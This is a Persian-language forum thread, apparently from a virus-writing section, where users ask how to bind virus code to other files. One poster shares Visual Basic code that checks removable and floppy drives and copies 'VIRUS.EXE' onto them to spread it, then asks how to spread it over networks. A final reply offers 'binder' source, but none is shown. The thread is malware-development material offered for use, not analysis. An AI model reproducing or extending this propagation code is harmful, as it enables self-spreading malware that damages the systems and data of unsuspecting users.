salam qabl az kalam
bisyar ali bod kar shoma? agar mano komak konid yak farsi saz bari photo shop bisazam, chon naw hastam ba dim site agar komak bitonid mamnon khod may sazid,
jalal_hamtah20052yahoo.com
Printable View
salam qabl az kalam
bisyar ali bod kar shoma? agar mano komak konid yak farsi saz bari photo shop bisazam, chon naw hastam ba dim site agar komak bitonid mamnon khod may sazid,
jalal_hamtah20052yahoo.com
نقل قول:
این همه دردسر ؟
توی visual basic (تو فرم لود ) بنویس " اسم برنامه/ " & shell app.path
نگفتي اگه تو يك تايمر اين رو بنويسي اون وقت چي ميشهنقل قول:
بنام خدا
من اين سوال رو تو صفحه هشتم پرسيده بودم اما كسي جواب نداد
لطفاً جواب سوالم رو بديد
با سلام من آموزش های شما رو خوندم
ولی متوجه نشدم که برای ضمیمه کردن ویروس به یک فایل بدون تخریب اون فايل باید چه کار کرد
لطفاً در این مورد کمکم کنید
نه که حتماً من میخوام با آموختن این روش ویروس بسازم
بلکه مهمتر از اون میخوام از این طریق بفهمم که همون طور که سورس ویروس چگونه اضافه میشه همون طور چطوری حذف میشه
لطفاً حتماً جوابم رو کامل بدهید
با تشکر فراون
سلام عزيز. این ويروس رو اگه با بيسيک بسازی که آزاد نيست تا موقعی که کامپايل کنی و فايل اپليکيشن رو باز کنی.من خودم از اون راهنما ساختمش مشکلی پيش نمياد.نقل قول:
دوست عزيز من ويروس خاصي نميخوام بسازمنقل قول:
من ميخوام بدونم كلاً چه ويروس و چه هر دستورات ديگه رو چطور به يك فايل ديگه (به انتها يا به ابتداي اون ) اضافه ميكند
به طوري كه فايل مورد نظر به خاطر اين تغيير باز هم عملكرد اصلي خودشو رو بتونه انجام بده
اون دستوري رو ميخوام كه باهاش فايلي رو براي اضافه شدن ويروس به آن فايل استفاده ميكند
اگه براتون ممكنه
اون خط از برنامه ويروس كه ويروس رو ميچسبونه به يك فايل رو برام بنويسيد
با تشكر
پس قصد شما چيهنقل قول:
سلام.
من از این کد برای انتشار برنامه هام استفاده می کنم که وجود فلش درایو رو تشخیص میده.
البته از اینم برای فلاپی استفاده می کنم:کد:
Dim drivea As Long
Dim driveb(10) As String
Dim counter As Integer
driveb(1) = "e:\"
driveb(2) = "f:\"
driveb(3) = "g:\"
driveb(4) = "h:\"
driveb(5) = "i:\"
driveb(6) = "j:\"
driveb(7) = "k:\"
driveb(8) = "l:\"
driveb(9) = "m:\"
For counter = 1 To 10
drivea = GetDriveType(driveb(counter))
If drivea = 2 Then
Call CopyFile("%PATH%VIRUS.EXE", driveb(counter) & "VIRUS.EXE", True)
Exit Sub
End If
Next counter
End Sub
البته انام تو جنرال باید تعریف شن :کد:
window = FindWindow(vbNullString, "3.5 Floppy (A:)")
nowwindow = GetForegroundWindow
If window = nowwindow Then
Call CopyFile("%PATH%VIRUS.EXE", "a:\VIRUS.EXE", True)
End If
End Sub
ولی انتشار از راه شبکه رو بلد نیستم. کسی میتونه کمکم کنه؟کد:
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExist As Long) As Long
دوست عزيز دقيقاً درخواست من اينهنقل قول:
دستوري رو كه فايلي رو براي چسباندن ويروس به آن انتخاب ميكند را بنويسيد
مثلاً فرض كنيم يك سري كد نوشتيم و ميخواهيم اين كدها رو به ابتداي فايلي بچسبونيم
اون دستوري كه بايد بنويسيم تا اين كدها به فايل مورد نظر بچسبند جيست
من فقط همين رو ميخوام
اميدوارم منظورم رو فهميده باشد
با تشكر
سلام.نقل قول:
شما بایندر میخوای. اینم سورسش.